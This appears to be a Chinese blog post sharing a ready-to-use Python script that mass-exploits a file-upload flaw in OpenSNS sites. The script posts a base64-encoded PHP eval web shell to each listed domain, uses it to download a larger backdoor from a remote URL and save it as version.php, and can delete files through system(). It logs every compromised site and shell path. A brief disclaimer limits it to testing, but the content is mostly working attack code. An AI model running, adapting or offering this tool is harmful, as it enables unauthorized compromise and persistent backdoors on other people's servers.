分析 :
前几天发现了一篇文章 , 写的是OpenSNS的一个文件上传漏洞 , 根据作者的思路尝试了一下 , 发现真的可以上传文件
写了一个批量利用的脚本分享出来
参考资料 :
利用 :
利用脚本下载地址 : 百度云
README.txt
OpenSNS文件上传漏洞利用工具
---------------------------
安全声明 :
脚本仅用于安全测试与技术交流 , 严禁用于其他用途 , 违者所造成的后果与作者无关!
---------------------------
用法 :
1. 安装python2.7运行环境
2. 安装python requests模块
3. 搜集网站域名信息 , 保存在当前文件夹下的urls.txt中 , 注意域名后不需要斜杠 , 而且域名需要带上协议 , 如 : http://
4. 在OpenSNS中配置如下信息 :
# config-start
light_shell_content = "<?php eval($_POST['c']);?>" # 小马内容
shell_content_url = "http://.../backdoor.txt" # 大马内容 , 需要放在公网上 , 以文本的形式
shell_file_name = "version.php" # 大马文件名(上传到服务器上的文件名)
delete_light_shell = False # 是否需要删除小马
# config-end
5. 运行Python脚本OpenSNS.py即可
---------------------------
结果 :
所有结果保存在当前文件夹中
fail.txt 利用失败的网站
success.txt 利用成功的网站
shell.txt 大马地址
light_shell.txt 小马地址
OpenSNS.py
#coding:utf8
import requests
import base64
import json
import sys
import winsound
# config-start
light_shell_content = "<?php eval($_POST['c']);?>" # 小马内容
shell_content_url = "http://.../backdoor.txt" # 大马内容 , 需要放在公网上 , 以文本的形式
shell_file_name = "version.php" # 大马文件名(上传到服务器上的文件名)
delete_light_shell = False # 是否需要删除小马
# config-end
code = "file_put_contents('version.php',file_get_contents('" + shell_content_url + "'));"
postData = {'data':'data:image/php;base64,' + base64.b64encode(light_shell_content)}
sites = open("urls.txt","r") # 读取所有待利用的网站
# 去重
my_sites = set()
for site in sites:
my_sites.add(site[0:-1])
success_sites = open('success.txt','a+') # 尝试过 , 已经成功
fail_sites = open("fail.txt","a+") # 尝试过 , 但是失败
success_sites_list = []
fail_sites_list = []
number = len(my_sites)
print u"读取URL完成 : ",
print str(number) + u"条"
scaned_number = 0
for site in my_sites:
scaned_number += 1
print "---------- " + str(scaned_number) + " / " + str(number) + " ----------"
print site
# 开始利用
if site in fail_sites:
print "Error : This site have been hacked , but failed."
continue
elif site in success_sites:
print "Error : The shell have been uploaded to the site."
continue
else:
url = site + "/index.php?s=/Core/File/uploadPictureBase64.html"
try:
response = requests.post(url, data=postData, timeout=10)
content = response.text.encode("GB18030");
if content.startswith("{\"status\":") and content.endswith(".php\"}"):
success_json = json.loads(content)
success_path = success_json['path']
success_path = success_path.replace("\\/","/")
print u"成功上传小马" + "\t" + success_path
temp = success_path.split("/")
size = len(temp)
little_path = temp[size - 1]
success_exploit = success_path + "?c=" + code
requests.get(success_exploit)
path = success_path.replace(little_path, "")
print u"成功写入大马!\t" + path + shell_file_name
if delete_light_shell:
requests.get(success_path + "?c=system('rm " + little_path + "');")
print u"已经删除小马!"
# 报警提示
winsound.Beep(1000,250)
# 将成功的域名写入日志文件
success_log = open('success.txt','a+')
success_log.write(site + "\n")
success_log.close()
if not delete_light_shell:
# 写入小马地址
light_shell_log = open("light_shell.txt", "a+")
light_shell_log.write(success_path + "\r\n")
light_shell_log.close
# 写入大马地址
shell_log = open("shell.txt", "a+")
shell_log.write(path + shell_file_name + "\r\n")
shell_log.close
# 将成功的域名加入List
success_sites_list.append(site)
else:
# 将失败的域名写入日志文件
error_url = open('fail.txt', 'a+')
error_url.write(site + "\n")
error_url.close()
# 将失败的域名加入List
fail_sites_list.append(site)
# 打印日志信息到控制台
print "Error : Can't upload the shell"
except Exception as e:
# 打印错误信息
print e
continue